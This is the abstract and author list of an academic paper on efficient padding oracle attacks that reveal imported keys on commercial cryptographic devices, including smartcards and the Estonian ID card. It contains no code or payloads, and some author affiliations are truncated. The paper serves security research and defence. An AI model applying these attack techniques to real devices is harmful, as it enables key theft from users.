Efficient Padding Oracle
Attacks on Cryptographic Hardware
Romain Bardou (INRIA, France)
Riccardo Focardi (Università Ca'
Yusuke
Kawamoto (
Lorenzo
Simionato (Università Ca'
Foscari,
Graham
Steel (INRIA, France)
Joe-Kai
Tsay (NTNU,
Abstract:
We show how to exploit the encrypted key import functions of a variety of
different cryptographic devices to reveal the imported key. The attacks are
padding oracle attacks, where error messages resulting from incorrectly
padded plaintexts are used as a side channel. In the asymmetric encryption
case, we modify and improve Bleichenbacher's attack
on RSA PKCS#1v1.5 padding, giving new cryptanalysis that allows us to carry
out the `million message attack' in a mean of 49 000 and median of 14 500
oracle calls in the case of cracking an unknown valid ciphertext
under a 1024 bit key (the original algorithm takes a mean of 215 000 and a
median of 163 000 in the same case). We show how implementation details of
certain devices admit an attack that requires only 9 400 operations on
average (3 800 median). For the symmetric case, we adapt Vaudenay's
CBC attack, which is already highly efficient. We demonstrate the
vulnerabilities on a number of commercially available cryptographic devices,
including security tokens, smartcards and the Estonian electronic ID card.
The attacks are efficient enough to be practical: we give timing details for
all the devices found to be vulnerable, showing how our optimisations
make a qualitative difference to the practicality of the attack. We give
mathematical analysis of the effectiveness of the attacks, extensive
empirical results, and a discussion of countermeasures.